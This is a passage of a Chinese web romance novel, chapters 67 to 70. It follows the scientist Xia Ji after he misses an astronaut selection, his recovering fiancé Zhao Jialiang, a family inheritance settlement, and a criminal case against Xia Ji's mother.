“听说是上天名额轮不着他,所以用不着健身了。”徐管家小心翼翼的比了个向上的手势,又冲他作了个抹脖子的动作,“夏先生刚回来的时候面色不对,我想着说点儿什么缓和下气氛” 正好夏季当时随口问了句院子里来往的工人是在干什么,徐管家便想替自家赵总说点儿好话,便说了赵嘉良今早百忙之中还惦记着他的健身大业。 于是这波马屁就直接拍在马腿上了~ 作者有话说: 家里长辈去世[化了]忙了几个月还是这个结果。 下周恢复日更。 第67章 每一个向往星辰大海的人一定都曾有过一个宇航员梦。 早年华国刚刚发展航天事业的时候, 宇航员只从空军内部选拔。也就是最近几年航空航天事业发展迅速,需要更为专业的科研人员实操之后夏季这类人才有了点儿机会。 但这其中也有很多限制 “夏先生晚饭就吃了两口就去书房待着了,我让女佣去送了两次水果茶点, 她们说夏先生看起来挺失落的。”在赵嘉良回来之前, 徐管家已经贴心的帮他打听好一切细节了。可以说这位老人为了自己从小看着长大的老板的终身幸福,也是操碎了心。 “我让她们厚着脸皮去问了,夏先生说他不符合选拔标准。” “我老婆条件这么好都不符合?研究院的那帮人是要上天啊!”赵嘉良很生气的脱掉外套, 往沙发上一扔。只觉得自己孜孜不倦这么多年来给科学院无偿捐赠,除了讨好夏季长辈之外,也是希望他一个年轻人在那种看资历的地方能过的好点。 徐管家叹了口气,“我也是没忍住问了夏先生他什么条件不符合。” 结果人家的指标中有两个硬性要求, 第一条是已婚。 赵嘉良乐了,一拍大腿说, “这还不简单?他虽然没结婚,但我现在立刻马上就能跟他领证啊!我俩定下来的事儿全天下不都知道了吗?” “可还有第二条要求啊。” 这同样是硬性要求的第二项是关于个人素质的, 除了年龄和政治面貌学历身体情况之外, 有一个身高体重的要求。 “硬性规定, 身高168-172。夏先生超标了。” 一个热知识,华国成年男性的平均身高是169.2cm。三十岁以下的年轻人平均身高会高一些,但也就170出头。而夏季平时在各种需要登记身高体重的场合, 一律统统写的一米八。虽然他光脚净身高只有179.5cm,但相较于172的硬性标准几乎是没有什么讨价还价的余地了。 “啊这”赵嘉良也是无语了。 但其实转念一想这个硬性要求其实也可以理解。毕竟现在这个行业还处在发展阶段, 很多参数都是标准化的, 而最初的标准取大部分的平均值也实属正常。当然,如果赵嘉良能够有钱到给夏季私人订制一个航天器的话说不定可以。但很可惜,现在赵嘉良甚至比他公司的很多高管的资产都少。毕竟付过彩礼之后,赵嘉良好像除了兜里的几百万存款之外, 也就两台车和三套房产了~至于其它的,早年为了给夏季足够的安全感和展现足够的诚意时,他都尽可能的转移到夏季名下了。 赵嘉良沉默了片刻,“不行,我得去哄哄。” 虽然挺无奈,但这种时候作为一个成熟的男朋友以及合格的未婚夫,赵嘉良觉得自己有义务好好的安抚自己伤心的恋人。 不过当他打好腹稿,做好心理准备去书房找夏季聊聊的时候,却一眼在那面积惊人的书房中找到正倚在贵妃椅上看书的那人。 暖色的灯光映照在他白皙的侧脸上仿佛给他镀了一层光,整个人都带上了一层温暖的气质。 赵嘉良当时就放缓了脚步,刚刚酝酿好的话语此时脑海里只剩下一句:我眼光真滴好,我对象真特么好看! 只可惜这样宁静美好的氛围在美人薄唇轻启的时候被打破了。 “你挡我光了。” 赵嘉良微晒,赶紧往旁边挪了一步,“抱歉抱歉。” 夏季放下手里的书本翻身坐了起来。 “这么晚才下班吗?今天没去医院复健?” 男人摸了摸鼻子,“今天没去,医生说偶尔一天不去没关系,明天补上就好。反正今天交接的事情已经处理的差不多了,后面稳步推进就行,不用每天都跟今天一样弄这么久。” 夏季不置可否的嗯了一声,好看的脸上没什么表情。 “吃饭了吗?” 这可把本抱着来安慰他心情的赵嘉良给整不会了。 要知道像夏季这种干大事儿的人,行事作风跟他的老师王老一样,是从不拘泥于小节的。因此从前的夏季从来不会在这种小事儿上过问半句,更别提还是单独询问赵嘉良饿不饿,吃没吃饭这种事情。 “没没呢。”赵嘉良磕磕巴巴的回答道,“宝贝,你今天是不是心情不好?” 夏季把手里的书“啪”的一声扣在一旁的案几上,“确实不太好。” “那能跟我说说吗?”赵嘉良满心希冀的问。 他很乐意为恋人分享一切情绪,也愿意跟他共同面对一切的困难。 夏季微微侧首,有些漫不经心的说,“哦,就是新领导让我好好研究种地,没别想那些有的没的。” 说着他站起身来,语气温和,“你饿不饿?正好刚刚今安姐说想请我们吃饭。要不我跟今她说一声我们今晚有空,一起出去吃个宵夜?” 他这主动的关心询问,和征求自己意见的柔和语气一下子把赵嘉良干蒙了。 以赵嘉良对夏季的刻板印象,他那性子活脱脱就属于那种高冷的,不爱让人抱的家养猫。他只会在他想,他需要的时候过来蹭你的手,跟你贴贴。却从不会在你想要,你需要的时候接受你的抱抱。他那任性傲娇的小模样根本不是那种会征求别人意见的人。 面对此时他突如其来的温驯亲人,赵嘉良的第一反应甚至都不是受宠若惊,而是努力反思自己今天有没有做错事,这一顿饭会不是自己的断头饭? 夏季起身往门口处走了两步,见那人没反应似的没有跟上来,他停下脚步,“怎么?你不饿吗?” 原本的行程安排赵嘉良今天晚上是应该请夏燃吃饭的,但临时改变行程后他归心似箭,这时候说不饿那是假的。于是赵嘉良干笑了两声,“确实有点饿” “那走吧,正好你也不用换衣服了。”夏季冲他微微一笑,笑的很好看。虽然眼底依然有一抹淡淡的黯然,那种隐忍的温和让赵嘉良有种抓心挠肝的难受。 去约定餐厅的路上,赵嘉良几次想开口问问夏季关于选拔的事宜。但他实在享受对方这百年难得一见的温柔小意,并不想现在就打破气氛。 天知道以前夏季只会在他床上运动表现出色的时候给他这种好脸色~ “到了,今安姐说今天请你吃好的。”这家茶餐厅在附近还算有名,价格也相当不菲。 自从跟夏季在一起后,赵嘉良是没少跟王今安及其家属一起吃饭的。而王家算夏季大半个娘家,赵嘉良跟他们一起吃饭肯定不会让对象的娘家人买单。但今晚这次是王今安明确表示这顿她请,主要是为了感谢赵嘉良昨天的配合研究,以及他当植物人这段时间给李教授麾下的各位博士生提供的珍贵论文素材的恩情。 “你俩可算来啦,我都快饿死了。”除了赵嘉良和夏季,王今安也没忘叫上她的好闺蜜。 邹柔柔热情的给两人倒了杯热茶,跟夏季说,“上次你托我问的那事儿我已经跟我姑奶奶打好招呼了。她老人家年纪大了,就每个礼拜二去医学院讲一天课,现在一般都不看上一线看病。你让你嫂嫂下周二去医科大找我,我领她过去。” “好,多谢柔柔姐。”两人聊了一下其中的细节,夏季把邹柔柔的绿泡泡名片推给夏燃,交代清楚细节后,王今安也已经热情的招呼着赵嘉良点好菜了。 在外面吃饭,王今安也是很清楚夏季那个一问三不知的性子,把菜单交给赵嘉良一定能点出最让夏季满意的餐来。 只是今天的王今安连招呼赵嘉良来点菜都格外热情。眼见他们姐弟一个两个的都跟平时两幅面孔,赵嘉良忐忑不安挨着夏季老实坐着,实际脑海里已经开始头脑风暴了。他真的没有干什么天理不容的坏事吗?为什么这姐弟两今天都格外不对劲?! 而作为临时被邀请过来蹭饭,顺便跟夏季说事儿的邹柔柔想的却没那么复杂。 在座的诸位除了夏季这个提前下班的,都是加班的牛马。邹柔柔跟王今安聊了两句,上菜之后就心无旁骛的大吃特吃了起来,倒是王今安还十分热情的给赵嘉良夹了好几次菜,又关切的询问了他今天的身体状况,还嘱咐他最近工作千万不能太累。 “夏季你也别光顾着吃啊,给我弟媳夹点他爱吃的菜啊!”虽然平时一起吃饭的次数不少,但王今安非常愧疚的是她以前对赵嘉良还是太高傲了,都没有好好观察过他饮食上的偏好。 正在夹虾饺的夏季动作一顿,然后筷子的方向一个转弯。 赵嘉良生无可恋的看着一只晶莹剔透,圆润饱满的虾饺落在了自己的碗里。 这时他终于忍不住挤出一句,“宝贝,我最近是做错什么了吗?” “嗯?”夏季不明所以的蹙眉歪了歪脑袋,“没有啊,你做什么了?” 赵嘉良露出一个比哭还难看的笑容,“你跟你姐今天都好奇怪,这顿真不是我最后的宵夜吗?” 王今安热情的给他盛了一碗老鸭汤,笑眯眯的说,“瞧你这话说的,咱们不是马上都成一家人了嘛。只是我也没想到咱们家夏季这颗水灵灵的大白菜居然会拱猪~” “姐你是不是误会什么了?”融会贯通这两天发生的事情,赵嘉良顿悟了。他超小声的说,“夏季开玩笑的,您真当我是弟媳了啊?” 只见王今安的脸变得比专业变脸演员还快,她手里的汤转弯的速度更是比刚刚夏季的虾饺还快。 “我昨天还寻思夏季这个小白脸怎么突然就出息了,原来是忽悠我的是吧?!” 面对亲姐的怒目而视,夏季一口干掉一只虾饺,“说话注意点,男女平等,男男也平等。他是我老公,我也怎么就不是他老公了?” “呵~”王今安被气笑了,她干了一口鲜美的老鸭汤,“我早该想到的。” 末了她还没忘补了一句,“今天这顿饭你请!” 夏季平时也没少请客,再加上这次走了她的关系给夏燃帮忙,这顿饭他请也合理。 只是王姐这边误会解除后,夏季却依然主动帮赵嘉良夹了好几次菜。 “你手脚不灵活,想吃什么我给你夹吧。”夏季之前从来不给赵嘉良夹菜,今天这波操作着实有点儿倒反天罡了。但他面色如常,语气温和,即使是很了解他的赵嘉良也看不出来丝毫生气的意味。 有些摸不着头脑的赵嘉良只得小心翼翼的说,“我都行” 赵嘉良自从醒来之后确实手脚不大灵活,一些很细致的,比如使筷子的这种动作他能做,但有些吃力。当然,这在王今安看来已经是“还要什么自行车”的极好恢复效果了,但对于赵嘉良本人来说还是有些不习惯。 但让他没有想到的是,夏季给他夹菜时看似动作随意,但真正落到自己碗里的,竟然都是自己喜欢吃的。 “宝贝”赵嘉良忽然有点点感动。 很多相熟的人,尤其是赵嘉良的那帮酒肉朋友见过他俩的相处模式时总会私下感叹说,赵嘉良真不愧是跟他妈一脉相传的顶级恋爱脑。就连王今安偶尔私下跟亲友吐槽的时候也是这么说的,觉得赵嘉良在亲密关系中把自己的位置摆到没底线的低。 但邹柔柔曾这么跟王今安这么剖析过。 “赵嘉良对待亲密之人的性格像狗,是那种任何秘密和情绪都要展露,所有爱意和好都要昭告天下的类型。夏季则是典型的工科学术分子性格,他在处理亲密关系时的性子更像猫。看似高冷不亲近,但其实细心敏感的很。毕竟真不喜欢,谁都进不了他的领地。” 就像现在,赵嘉良虽然从来没说过夏季也没问过,但夏季其实对他的喜好门儿清。 “吃吧,这家的蒸鱼不错的。”但是性格像猫的夏季并不爱吃鱼,反而赵嘉良很爱。 刚刚赵嘉良点菜的时候没有点这道清蒸鱼,是夏季后面喊了服务员单独加的。一想到这儿,赵嘉良真的感动的眼泪都要掉下来了(不是 不过在赵嘉良迅速填饱肚子后,两位女士还在慢悠悠的一边聊天一边吃两口,显然并没有跟他一样的风卷残云的急迫感。 倒是夏季今天的反应真的让赵嘉良惊喜又不安,再联想到徐管家说的最后他还是忍不住放下筷子,尝试着去拉自家宝贝的手。 “我吃好了,不用给我夹了。”而今天安静温顺的恋人也没有拒绝他的牵手。夏季只是微微蜷起手指,随即又舒展开,任他牵着。 “宝宝你今天怎么了?”男人将声音压低到只有他俩能听到的程度,语气中难免带着些不安的关切。他有点担心夏季是因为上天梦碎被气傻了~ 但对方却是轻轻的笑了一声,“没怎么啊。你不喜欢我这样对你吗?” “喜欢,但我想知道原因。”男人沉下脸来正色道,“出什么事了,你跟我说。” “没什么。”夏季抬眸睨了一眼已经开始聊起八卦的两位姐,沉默片刻道,“只是今天在新项目组里跟新同事们沟通过之后,有些感慨罢了。” 其实赵嘉良的这次车祸,不仅是对赵嘉良的一个考验,更是让夏季有了一些曾经从未有过的人生感悟。 “以前我满脑子都是星辰大海的时候只觉得人生其实很简单,我要做的就是努力读书,然后抱王老大腿在科学院里发光发热,实现儿时理想当个牛逼的科学家。”夏季轻笑了两声,仿佛是为自己曾经唯一的人生理想而开心,又像是为自己如今的心态转变而惋惜,“但是在你生死一线的时候,我忽然又想起最开始我拜入王老门下时,他对我们说过的那句:人类所有的科学研究的终极目标永远都是致力于造福人类本身。” “那一刻我才意识到,如果你没了,也许我终其一生都不会幸福。” 他这话说的很重,重到让赵嘉良立时都有些招架不住,“夏季” “以前我总觉得我们都还很年轻,未来的时间还很多,应该趁着年轻多搞事业。”夏季虽然面上依然没有什么表情,但赵嘉良还是能从他微微握紧的手上感受到他的情绪。“但人生的不确定性太多了。那时候我就想了,如果你真就这么没了,那未来我的回忆里难道就只有我一味享受你的照顾和好,然后跟个白眼狼一样一点回应没有吗?” “宝宝”赵嘉良用力的回握住他的手,“其实我都懂的,我能等你,也愿意等你。你不需要” 话说到这里已经说开了,赵嘉良还有什么不明白的呢?天灾人祸,命里的事情谁又说的准? 赵嘉良明白,自己这次出事毕竟还是吓到他了。 他刚想再说点什么,对面却忽然响起一阵情深似海的清唱歌声。 “你总说~时间还很多~你可以等我喔喔喔~~~~”不知不觉的,对面两位姐唱起来了。 赵嘉良和夏季刚刚酝酿好的情绪瞬间崩了,夏季猛地抽回自己的手,一巴掌拍在餐厅的中式案几上发出“啪”的一声。 “买单!回家!” 作者有话说: 两位姐的歌词取自梁静茹:会呼吸的痛。 第68章 这顿宵夜可以说是吃的“宾主尽欢”。 夏季去买单的时候看着自己这桌四个人吃出隔壁十人桌的账单, 心情复杂。 “你俩是来讨饭的吗?还连吃带拿?”虽说一开始是王今安组局请请客,但有一说一王姐还是大方的,这菜点的可不少。只是账单转移后, 两位姐已经不拘泥于堂食, 直接开始加单打包了。 邹柔柔哼着曲儿心情很好,“可是这家店真的很好吃啊,打包明天中午去单位吃。” 贵的店总有它贵的道理, 味道自然是其中的理由之一。 夏季想了想觉得她说的有点道理,想到自己这桌唯一于是转头跟服务员说,“加一份蒸鱼打包。” 殷勤热情的服务员小姐姐微笑着应下,转身下单的时候还不禁感叹。有钱人的想法真是捉摸不透, 打包的比堂食的还多~ 不过夏季的这份蒸鱼显然是打包给赵嘉良的。 出门的时候赵嘉良本想绅士的帮两位女士拿下打包盒的,但重伤尚未痊愈的他显然低估了两位打包的分量, 也高估了自己的身体情况。差点儿把袋子打翻之后,最后还是夏季提着三个大塑料袋一直走到停车场。 “我开车过来的, 我送柔柔回去, 你俩自己回家再继续互诉衷肠哈。” 虽然赵嘉良刚开始说话的时候已经尽可能的用最小的声音了, 但后面情绪上来难免声音大点儿,被这两位姐听到那可真是要命。不过不得不说的是她俩选的歌还挺应景,还蛮符合夏季的心态。 只是被她俩这么一插科打诨, 夏季倒是少了几分惆怅,多了两分释然。 目送两位女士上车后, 夏季转头冲赵嘉良微微一笑, “那我们也回家吧。” 回去的路上话题难免又重回夏季为啥心情不好的话题了。虽然有点破坏气氛的不识趣,但赵嘉良从来不是个逃避问题的人。尤其是在夏季的事情上,但凡有任何不对劲的他都要第一时间过问,解决问题。 但这次的问题真的很无解, 好在夏季只是小小的失落了一下。 “失望肯定是有的,不过毕竟也从来没有人保证过说去新项目就一定有机会上天。更何况,我们这个项目得是得确定种的出东西来才有上天的需求,现在八字还没一撇呢。”夏季如是说。 看来一顿宵夜吃完,他的心态调解的也差不多了。倒是赵嘉良,夏季问起他今天去夏氏的情况后,他一脸轻松的说,“一切都好,夏燃这人还挺识相的,配合的不错。” 都是在一个圈子里摸爬滚打多年的老奸商了,合作起来还算轻松愉快。不过对于夏燃会如此轻松放手夏氏,赵嘉良心中难免还是有个疑影。 “宝贝,虽然我知道夏家的那些事儿,戏剧性的能直接改变电影了。但夏氏毕竟是个市值不菲,夏燃就是再有良心,也不至于视金钱为粪土吧。”作为曾经的夏家家主,夏燃曾经手握夏氏大权。哪怕夏季能够拿出实锤用血缘来正名,但夏燃的合理合法嫡长子身份依然不会动摇。哪怕真打起官司来,夏季也不可能得到的比现在更多。 这次生日宴上,夏燃这视金钱为粪土的爽快,雷厉风行到让人钦佩。但赵嘉良总觉得他这么爽快的仿佛有诈,像是想摆脱什么大麻烦似的。 其实关于这位大哥,夏季对他的了解也不算多。只是因为喻馨那案子,他最近才跟夏燃接触多了些。 “夏燃是最有夏听风遗风的儿子,爱美人不爱江山的性子是一样一样的。”也就是他老婆高嘉丽的娘家足够给力,不然这分遗产的事儿也不会解决的这么轻松。但从长远的角度来讲,夏季其实也不想跟夏燃把关系搞得那么僵,“夏氏股份我全拿了,至于夏听风其他的其它遗产我就放弃给他了,你没意见吧?” 毕竟这部分财产可能会属于他们的婚后财产,夏季觉得还是应该跟赵嘉良知会一声。对于夏家,夏季没什么感情,在赵嘉良还昏着的时候他跟夏燃曾经私下达成协议,自己只要公司,其余的东西都给夏燃。但在夏家老宅的归属上,夏燃表示他不想要。两人推拒了一番最后还是夏季更加说一不二,把夏家老宅颇有意义的东西硬塞给了夏家嫡长子。 “可以。”对此,赵嘉良的做派也丝毫不比高嘉丽小家子气,“公司股份才是会下蛋的母鸡,至于不动产给他也好,另外夏荣就是想分也找不到你头上。” 在夏燃和夏季达成一致,要重新分配夏听风遗产之后,喻馨和夏荣的处境就非常尴尬了。 本就是为了给夏燃名正言顺夏家嫡长子身份,才跟夏听风结婚的喻馨在婚前就签署过一份非常严格的公正婚前财产协议。她只有在婚姻存续期间才可以从夏家领到一笔丰厚的生活费,而她的孩子夏燃则是夏家财产的第一顺位继承人。 直到后面她又生了夏季,夏老爷子才做主将两个孙子的继承权改成一比一。至于后续的夏荣经过这段时间警方的补充调查发现,夏听风确实不知道夏荣是喻馨的亲子。喻馨生夏荣的时候夏听风有近一年多的时间都在欧洲盯项目,甚至夏季“走失”的时候夏听风人都不在国内。后面喻馨给夏荣做了很好的包装,甚至夏听风第一次见夏荣的时候还是在闫庆泽老家的福利院。 因此,即使夏荣跟夏听风有着完整且合法的收养手续,但他这个情况也很难按照正常养子的身份按份额顺利继承。 付出一些不动产,就能得到更有前景的股份。把麻烦留给大哥,把下蛋的母鸡留给自己,夏季就是打的这个算盘。 “反正夏燃跟夏荣才是从小一起长大的亲兄弟,我也没有真一毛不拔全部都要,别的问题就不关我事了。” 以夏季跟夏荣那关系,他不趁着夏荣狼狈落井下石就已经是心胸豁达,人好该夸了。让他给夏荣分钱?那可真是做梦。 至于夏燃会不会分夏荣点儿,那就看夏燃对这个亲爱的弟弟有多少兄弟情了,这就不是夏季该操心的事情了。 只是说到这个话题,赵嘉良眉心微蹙,“差点忘了,中午律师团的人跟我说喻馨的案子被检察院退回补充侦查了。” 毕竟年代久远,夏季倒是也没有太过意外,“是证据方面有什么问题吗?” 赵嘉良摇了摇头,“不是,是高家那边提交了新的证据,喻馨身上得再背一个故意伤害的罪名了。” 说起来也挺好笑的。 像高嘉丽这种出身背景的,夏燃其实是有点高攀了。可即便如此,喻馨仍然看不上这位优秀的儿媳妇。甚至她宁愿给夏燃介绍些对夏燃未来发展毫无助益的花瓶女明星,都不愿给高嘉丽多些好脸色。 这让夏燃自己都很难评这位亲妈到底是认知不够认为这样对自己好,还是故意为之。 不过现在他明白了,喻馨不喜欢高嘉丽纯粹是因为她自己心里有鬼的原因。而给自己介绍花瓶女明星则是她想拉近两个儿子之间的差距罢了。这种可笑的经典“父母端水”也是让喻馨玩儿明白了。 但很可惜夏燃作为跟夏听风这位养父更亲近的孩子,他继承的是来自夏听风的优良“恋爱脑”。亲妈和老婆,他显然更在意的是要跟自己共度一生,且对自己一心一意的老婆。在决心痛定思痛跟心都偏到咯吱窝去的亲妈划清界限后,夏燃重新回到高家做“赘婿”的第一件事情就是跟岳父岳母表忠心。他追诉了喻馨几次给高嘉丽下药,导致其流产的事情。因为这个案子发生在近期,且家里到处都有监控,药物的追查也更容易。 “故意伤害导致多次流产这个罪名可不轻。”赵嘉良并不精通律法,但这点常识他还是懂得,“我觉得咱们可以找点厉害的刑事律师,让她这辈子都出不来。” 夏季不置可否的嗯了一声。 今夜的京市,月明星稀,这个时间也不堵车。夏季看着窗外飞速倒退的高楼大厦,有那么一瞬间的晃神。 “我忽然想起那年我跟今安姐和麻十一刚来京市时的时候。” 从赵嘉良的角度,只能看到对方精致漂亮的侧脸。窗外的霓虹灯变换着色彩角度,落在他如玉的容颜上,却是一副略带风霜的姿态。 “我跟麻十一好不容易把今安姐从村里弄出来的时候是我们这辈子最落魄的时候。” 那时候夏季的爷爷奶奶已经去世好几年了,他的养母周小芬也死了。 夏季当时最大的指望也确实就是自己的那位影后亲妈了。但事实是,夏季的亲妈还不如养母靠谱。 “我真挺恨喻馨的,真的。” 赵嘉良伸手拍了拍他的肩膀,“人之常情。” 赵家上一辈的恩恩怨怨随着人死的死疯的疯,该过去的都已经过去了,剩下的一些余孽也都在经历各自应有的惩罚。而夏家的那些恩怨,现在才开始正式清算。 “不说这些不开心的事情了,宝宝你今天怎么忽然想着要打包蒸鱼了?”赵嘉良的眉眼含笑,有点儿贱兮兮的往靠着车窗的夏季身边靠。 夏季似笑非笑的睨了他一眼,“打包给你明天当午餐。” “明天好好去夏氏上班给我挣钱,我还是希望有生之年能上天呢~” 第69章 夏季的期望很美好, 只是赵嘉良对能否为他实现愿望而感到没底。毕竟这个愿望实在过于宏大,暂时已经超出了他的能力范围。 但秉持着“男人不能说不行”的原则,此时赵嘉良满脑子里只有:我得想办法多搞点钱! 不得不说夏季之前被称为“京圈第一金丝雀”也不无道理。毕竟饲养夏季的成本实在是太高了!赵嘉良养了几年直接给自己养的跟破产了也没啥区别了。 这就使得这几天一直Base在夏氏做交接工作的他难免会偶尔听到一些令人不怎么愉悦的议论声。 “看赵嘉良那吊样, 等着瞧吧, 舔狗必定不得好死。” “前车之鉴还少吗?赵嘉良是忘了他亲妈怎么没的了吧,还敢寄希望于爱情,真是脑子有泡。” “直接资产倒退到跟破产有什么区别?拿全部身家当彩礼, 呵,这种事情也就他们家祖传恋爱脑干的出来了。不过这彩礼都给了有段时间了吧?他俩婚礼的事情怎么一点儿风声没有。到时候等夏氏交接搞得差不多了,夏季翻脸不认人直接婚不结了可就有的好戏看咯!” 虽说赵嘉良的股权转让是以“彩礼”的名义出让给夏季的,若是两人闹掰了可以起诉追回。 但他这彩礼大头都是公司股份, 这玩意儿到时候两家公司一整合,赵嘉良再想要回来可就基本没戏了。对此, 赵嘉良的手下心腹们,甚至包括徐芸都忍不住私下跟赵嘉良谈过。 但不得不说的是这血统纯正的纯爱战士头就是比南墙还硬。赵嘉良不仅倒反天罡的狠狠批判了一番“唯利是图”的徐律师, 对她进行了一波“要相信真爱”的反响洗脑。最后这位精明能干的OL女士志得意满的进入老板的办公室, 然后又一脸菜色的出来。 面对阿久好奇的询问, 她只出了一句:晚期了,没救了,准备后事吧。 在外人看来, 夏季这波操作跟空手套白狼也没什么区别了。 其实真论起来赵嘉良在某方面也算得上是好男人了。只是以前因为赵家的事情,他在圈里名声不太好, 各家的公子小姐对他都是敬而远之的观望态度。谁知他们这一观望就给夏季捡了桃子。如今看来, 不少人都感叹说,传言害人不浅。 赵嘉良跟夏季早前都是被风评给害了。 一个被说成心狠手辣,对亲生父亲和手足兄弟都毫不留情下死手。另一个更是被说成人品败坏,奸猾善妒的乡下人, 上不得台面。 可现在看来,这两个人一个对伴侣恋爱脑癌晚期,能为爱人付出全部身家。另一个更是不得了,自己本身是科学院大佬不说,科学领域的人脉更是强悍。偏生长得还绝顶貌美,分明是京圈里出身能力稍微差一点儿的人家都高攀不起的存在! 至于如今这赵嘉良跟夏季的结合,到底是谁高攀谁了,倒不好说了。 徐律师愤愤不平的跟阿久吐槽了一会儿,也是有点儿口渴了。 她刚想喊阿久帮自己去饮水机那儿倒点水,却见对方沉着脸起身往外走去。 “诶,你去哪儿啊?”徐律师十分不解的喊了他一声。 “我上有老下有小,我得想办法找好下家,到时候赵总露宿街头了说不定我还能接济接济他。”阿久走的十分潇洒,挥一挥衣袖不带走一片云彩。 只是他这说法让人实在难免怀疑,这人真是赵嘉良的心腹之一嘛? 后面赵嘉良本人听说了这事儿后,只是不置可否的笑了笑。 “阿久是我好兄弟,我要是有天真没钱了,我就去他家门口要饭。” 阿久之所以能成为赵嘉良的心腹,其实缘由也挺戏剧化的。他比徐律师跟赵嘉良混的年头更长,早年甚至更符合人们心目中“疯狗”的形象。所以早前赵嘉良在圈内名声不佳,也有给他做事的阿久当初那地痞流氓般的行事作风。虽然后面赵嘉良的生意越做越大,阿久也人模狗样的套上了西装马甲,但他时不时就招猫逗狗的做派还是让不少人敬而远之。 赵嘉良虽然“一穷二白”的成了给夏季打白工的软饭男,但他好歹还算底蕴深厚,即使现在开始打白工了也依然有人对他忠心耿耿。 就比如阿久现在其实并没有真跑去找退路,而是按照赵嘉良的吩咐去做“正事”了。 夏荣这几天过得就跟做梦似的。 他这时候已经重新搬回了夏家老宅了。虽然夏季已经跟夏燃谈拢,完全放弃了老宅的归属权。这让夏燃心里稍微好受了一点,因为他很清楚,若是夏家老宅的房产证落到夏季手里,对方一定会毫不犹豫的把自己赶出去的。 但夏燃不一样。 夏燃跟自己不仅是同一个妈生的,他们毕竟从小在一个屋檐下长大,夏荣知道这个大哥虽然对待除了老婆之外的所有人都很冷漠很有距离感,但他还是觉得夏燃跟自己,总要比跟夏季关系好些吧。 不过因为夏季直接强势霸占了他原本的房间,这就使得夏荣搬回夏家之后不得不暂住客房。 他本来想把四楼同位置的房间重新装修作自己的新房间,但之前被夏季那么一闹之后,夏家老宅的管家佣人们对他的态度都有些含含糊糊的,直说要动房子必须要家主人同意。而夏燃自从喻馨出事之后直接跟着老婆回高家住去了,再加上因为喻馨那事儿,嫂子怀响不好,夏荣就是脑子再不好也万万不敢在这个时候去触他霉头。 只是大哥不在家,被夏季说道过的老管家也是非常机灵的开始看碟下菜了。 从来没有在自己家里受过委屈的夏荣也算是尝尽人生冷暖了。可明明受了这么多委屈他却依然要坚持住在夏家老宅也是有原因的,因为赵嘉良身边那个疯狗最近又盯上他了。 失去母亲的庇护,处在离婚冷静期的他对赵嘉良手下那个痞子的纠缠根本毫无办法。 那种擅长擦法律边的行为,之前他在夏季离开夏家对他出手的时候就切身体会过一次了。而这次对方不仅卷土重来还变本加厉了!知道报警无用后,夏荣只能尽可能的减少外出时间。反正这些日子因为喻馨那案子的事情他几乎也处在软封杀的阶段了,如果不是不得不跟一些品牌方谈解约的事情,夏荣甚至都不想出门。 可由于夏燃忽然追诉了喻馨对高嘉丽的故意伤害,警方已经连续几天通知他去看守所,说喻馨情绪不对劲可能需要保外就医了。夏荣今天也是实在被催得没办法才不得不全副武装的打扮出门去,可谁知他这才刚出夏宅大门没几步就意识到自己的车子被人跟上了。 主要是对方跟的大摇大摆,毫不掩饰的模样更让夏荣心烦了。 尤其是后面他去看守所见完喻馨办完手续出来之后,就看到那个穿着西装也依然衣服二流子模样的矮大粗领着一帮人围着他的车拍照,夏荣眉心直跳,却敢怒不敢言。 “你们到底想干什么?!”夏荣包含怒意,压低声音质问,“警察局门口你们还想做什么不成?!” 可为首的那个阿久只是痞里痞气的嘿嘿笑了两声,“缺钱,搞点钱花花。你们大明星这儿最好搞钱了,来,夏影帝把口罩摘了给我们拍两张,正好买个狗腿换点钱花花。” 自从赵嘉良醒了之后,夏季的那场生日宴也算小小的出圈了一把。 但对于大多数吃瓜群众来讲,豪门世家的生活距离他们还是太远,不如明星明星在最近越来越卖力的狗仔们的辛勤工作下更接地气。尤其是喻馨的案子,别看作为当事人的夏季本人一副完全不在乎,全权交给法律解决的模样,但对于这个案件的影响之大,已经是近十几年之最了! 因此,阿久带着手下倒卖“相关明星第一手消息”挣钱也是非常机灵了。当然,这个钱他也不可能自己一个人独吞,他家赵总自从听了夏季状似无意的那句:“你要努力挣钱,给我创造上天机会”的话之后,整个人都跟钻钱眼里去了似的,满脑子都是想方设法如何多搞钱。甚至阿久这倒卖夏荣私人信息的好处费都被这个无良老板截了一半。若不是工资和奖金并没有任何减少,阿久可能都要跳脚骂人了~ 不过阿久现在的工资已经不是赵嘉良在支付了。 成为公司实际股权人的夏季才是赵嘉良这帮心腹大将的实际付款人。 而自从换了项目组之后,夏季明显没有以前那么忙碌了,他每天朝九晚五的,生活作息规律了不少。而相较于绞尽脑汁多挣钱,好给对象造火箭的赵嘉良,如今的夏季明显将更多的生活重心转移到了家庭上。 他不仅每天晚上亲自给赵嘉良做按摩,甚至周末的时候还会陪对方去医院进行复健治疗。 在夏季这仿佛是幡然顿悟一般的一改行事作风下,赵嘉良十分感动。这对于车祸之前的他来说,简直是想都不敢想的受宠若惊待遇。 只是面对如此温柔体贴的未婚夫,赵嘉良的内心在经历过最初的欢欣之后,很快又被现实问题搞得有点儿心烦意乱。 在周日下午的复健结束后,他趁着夏季去买水的空隙想找主治医生了解一下病情,毕竟他这都复健小半个月了,除了被老胡带来的消息气的面瘫好了一半之外,他的康复不说是毫无进展,也差不多是纹丝不动了。 “怎么?哪里不舒服啊?”只是让赵嘉良没想到的是,好巧不巧的是王今安是他主治医生的师弟,正好过来送东西。 见到她的瞬间赵嘉良本想转头就走的,但回想到昨晚发生的一些让他颜面无存的事情他迟疑片刻还是硬着头皮留下了。 “没,我只是想咨询一下病情。” 赵嘉良的主治医生据说是李教授的得意门生,是王今安最年轻有为的学长。 这位看起来好像五十多,实际只有三十多岁的秃头康主任看起来就强的可怕,赵嘉良对他还是十分信任的。 在他弯弯绕绕的跟康主任问了一堆乱七八糟的问题之后,王今安单手支着下巴,似笑非笑的说,“你现在这个情况在我们科来看已经是奇迹了,你不能期待奇迹总是发生在你一个人身上吧。” “不过话说回来,我感觉你也不是那种急功近利的人啊”说着她上下打量了赵嘉良一番,似乎悟了,“所以伶牙俐齿的赵总特意甩开夏季过来咨询,到底是想咨询哪方面的问题?” 伶牙俐齿的赵总一时语塞,摸了摸鼻子,“就是那方面啊” 第70章 由于上次气氛太好, 平时跟猫儿一样高冷的老婆在自己醒来后变得温驯粘人这谁能顶得住啊~温柔体贴的夏季着实是把赵嘉良再次整的五迷三道的,后面被伺候的太舒服了,直接耻辱睡着。 不过在吸取了第一次的教训之后, 这几天赵嘉良可是在每天的按摩环节都保持着高度警觉, 坚决不让自己再沉溺温柔乡,一不小心就睡着了!虽然上班这种事情对于所有人来说都不是一件轻松的事情,但相比于放松, 赵嘉良心里还有更为远大的目标! 